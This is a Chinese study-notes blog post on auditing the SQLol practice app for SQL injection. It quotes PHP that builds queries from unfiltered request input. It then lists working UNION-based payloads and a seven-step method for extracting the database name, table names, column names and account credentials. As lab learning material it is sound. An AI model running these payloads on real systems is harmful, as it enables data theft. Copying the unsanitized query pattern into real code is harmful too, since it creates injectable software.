[PHP代码审计] -那些年我们一起挖掘SQL注入 - 1.什么都没过滤的入门情况-学习笔记

[PHP代码审计] -那些年我们一起挖掘SQL注入 - 1.什么都没过滤的入门情况-学习笔记


环境搭建:

mamp pro +phpstorm


漏洞分析:

看下源码结构,只有一个include文件夹包含一些数据库配置文件:

1.看select.php文件,开始引入了/include/nav.inc.php

<?php
include('includes/nav.inc.php');
?>

2.跟进nav.inc.php文件,发现该文件是select的核心表单提交页面以及输入处理程序

表单的输入处理程序比较简单,主要是根据你表单的选择作出相应的过滤和处理。

比如你勾选了单引号处理的选项之后,$_REQUEST[‘sanitize_quotes’]这个变量就会储存你选择项的值,进入switch结构进行判断。

选项的变量和值的列表如下:

  • $_REQUEST['sanitize_quotes'] 单引号过滤选项
    • quotes_double // 单引号加倍(‘变为”)
    • quotes_escape //单引号转义(加)
    • quotes_remove //移除单引号
  • $_REQUEST['spaces_remove'] 移除空格过滤选项
    • on
  • $_REQUEST['blacklist_keywords'] 黑名单关键字的处理
  • $_REQUEST['blacklist_level']黑名单过滤级别
    • low
    • medium
    • high

3.我们再返回到select.php,发现后面也有个submit后表单处理程序,判断要注射的位置并构造sql语句,跟进看下:

<?php
if(isset($_REQUEST['submit'])){ //Injection time!  //submit后,进入处理程序之二,1在上面

    if($_REQUEST['location'] == 'entire_query'){//If we're injecting an entire query (SQLi as a feature, seems unrealistic but I've seen it more than once) then let's not waste cycles building the query.
        //判断是不是整条语句都要注入,这里方便学习可以忽略不管

        $query = $_REQUEST['inject_string'];
        if(isset($_REQUEST['show_query']) and $_REQUEST['show_query']=='on') $displayquery = '<u>' . $_REQUEST['inject_string'] . '</u>';

    } else { //Otherwise, define all the parts of the query and replace only the portion we're injecting into.
        //这里是根据你选择要注射的位置来构造sql语句
        $display_column_name = $column_name = 'username';
        $display_table_name = $table_name = 'users';
        $display_where_clause = $where_clause = 'WHERE isadmin = 0';
        $display_group_by_clause = $group_by_clause = 'GROUP BY username';
        $display_order_by_clause = $order_by_clause = 'ORDER BY username ASC';
        $display_having_clause = $having_clause = 'HAVING 1 = 1';

        switch ($_REQUEST['location']){
            case 'column_name':
                $column_name = $_REQUEST['inject_string'];
                $display_column_name = '<u>' . $_REQUEST['inject_string'] . '</u>';
                break;
            case 'table_name':
                $table_name = $_REQUEST['inject_string'];
                $display_table_name = '<u>' . $_REQUEST['inject_string'] . '</u>';
                break;
            case 'where_string':
                $where_clause = "WHERE username = '" . $_REQUEST['inject_string'] . "'";
                $display_where_clause = "WHERE username = '" . '<u>' . $_REQUEST['inject_string'] . '</u>' . "'";
                break;
            case 'where_int':
                $where_clause = 'WHERE isadmin = ' . $_REQUEST['inject_string'];
                $display_where_clause = 'WHERE isadmin = ' . '<u>' . $_REQUEST['inject_string'] . '</u>';
                break;
            case 'group_by':
                $group_by_clause = 'GROUP BY ' . $_REQUEST['inject_string'];
                $display_group_by_clause = 'GROUP BY ' . '<u>' . $_REQUEST['inject_string'] . '</u>';
                break;
            case 'order_by':
                $order_by_clause = 'ORDER BY ' . $_REQUEST['inject_string'] . ' ASC';
                $display_order_by_clause = 'ORDER BY ' . '<u>' . $_REQUEST['inject_string'] . '</u>' . ' ASC';
                break;
            case 'having':
                $having_clause = 'HAVING isadmin = ' . $_REQUEST['inject_string'];
                $display_having_clause = 'HAVING isadmin = ' . '<u>' . $_REQUEST['inject_string'] . '</u>';
                break;
        }

        $query = "SELECT $column_name FROM $table_name $where_clause $group_by_clause $order_by_clause ";
        /*Probably a better way to create $displayquery...
        This allows me to underline the injection string
        in the resulting query that's displayed with the
        "Show Query" option without munging the query
        which hits the database.*/
        $displayquery = "SELECT $display_column_name FROM $display_table_name $display_where_clause $display_group_by_clause $display_order_by_clause ";

    }

4.跟进database.inc.php,终于带入查询了,所以表单看懂了,整个过程就没过滤^ ^

$db_conn = NewADOConnection($dsn);

print("\n<br>\n<br>");
if(isset($_REQUEST['show_query']) and $_REQUEST['show_query']=='on') echo "Query (injection string is <u>underlined</u>): " . $displayquery . "\n<br>";

$db_conn->SetFetchMode(ADODB_FETCH_ASSOC);
$results = $db_conn->Execute($query); # 执行查询

漏洞证明:

1.有了注入点了,我们先随意输入1然后选择注射位置为Where子句里的数字,开启Seay的MySql日志监控
这里我没有用mysql日志监控,由于知道最后在哪里执行查询语句,只要在上面添加断点,进行调试即可。


2.知道了sql的查询语句了,SELECT username FROM users WHERE isadmin = 1 GROUP BY username ORDER BY username ASC


3.构造获取数据库相关信息的POC:
payload:-1 union select concat(database(),0x5c,user(),0x5c,version())#

断点调试知道了,最后的查询语句为SELECT username FROM users WHERE isadmin = -1 union select concat(database(),0x5c,user(),0x5c,version())# GROUP BY username ORDER BY username ASC

查询结果为:

看看为什么要这样子构造payload?

  • mysql CONCAT()函数用于将多个字符串连接成一个字符串,就是将下面的查询连接在一起成为一个字符串
    • select database()
    • select 0x5c
    • select user()
    • select version()
  • Backslash  \   反斜线在Unicode字符是U+005C、ASCII字符是92(0x5C)。

4.构造获取数据库sqlol中所有表信息的POC:

payload:-1 union select GROUP_CONCAT(DISTINCT table_name) from information_schema.tables where table_schema=0x73716C6F6C#

查询语句为SELECT username FROM users WHERE isadmin = -1 union select GROUP_CONCAT(DISTINCT table_name) from information_schema.tables where table_schema=0x73716C6F6C# GROUP BY username ORDER BY username ASC

  • GROUP_CONCAT()

    • 1、功能:将group by产生的同一个分组中的值连接起来,返回一个字符串结果。
    • 2、语法:group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc ] [separator ‘分隔符’] )
  • DISTINCT

    • 说明:通过使用distinct可以排除重复值
  • table_schema=0x73716C6F6C

    • 0x73716C6F6C是sqlol的Hex编码

把结果合在一个字符串了。知道了有2张表ssn和users.


5.构造获取admin表所有字段信息的POC:

payload:-1 union select GROUP_CONCAT(DISTINCT column_name) from information_schema.columns where table_name=0x61646D696E#

0x61646D696E为admin的十六进制编码

通过information_schema来获取数据库中名称为admin表的字段

我的sqlol数据库中没有admin这张表,而vauditdemo数据库中有这个表。这里应该是要结合第4步,知道了有ssn和users这两张表,把payload修改为-1 union select GROUP_CONCAT(DISTINCT column_name) from information_schema.columns where table_name=0x7573657273#去获取users表中的所有字段名。


这么多,看来是多个数据库中含有相同的表名为users


6.构造获取admin表账户密码的POC:
payload:-1 union select GROUP_CONCAT(DISTINCT username,0x5f,password) from admin#

那我这里要获取users表中的重要字段的信息。
修改payload为-1 union select GROUP_CONCAT(DISTINCT username,0x5f,isadmin,0x5f,id) from users#

结果为:Array ( [username] => Herp Derper_1_1,SlapdeBack LovedeFace_1_2,Wengdack Slobdegoob_0_3,Chunk MacRunfast_0_4,Peter Weiner_0_5 )


总结:

十六进制的好处:

可以不用单引号

select column_name from information_schema.columns where table_name=0x7573657273
select column_name from information_schema.columns where table_name='users'
这两个查询语句的结果相同


一些mysql函数:

  • GROUP_CONCAT()

    • 1、功能:将group by产生的同一个分组中的值连接起来,返回一个字符串结果。
    • 2、语法:group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc ] [separator ‘分隔符’] )
  • DISTINCT

    • 说明:通过使用distinct可以排除重复值
  • concat()

    • mysql CONCAT()函数用于将多个字符串连接成一个字符串,就是将下面的查询连接在一起成为一个字符串

测试sql注入的流程:

  • 1.是否存在注入
  • 2.猜测其查询语句(黑盒要猜测,白盒可以直接知道)
  • 3.获取数据库信息
    • 当前数据库名database()
    • 当前用户名user()
    • 当前数据库版本version()
  • 4.知道数据库名后,获取该数据库下的所有表名
  • 5.在所有表名中判断出重要的表,如users表或者admin表
  • 6.获取重要的表的字段名,判断哪些是重要的字段
  • 7.获取重要的表的重要的字段的数据
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值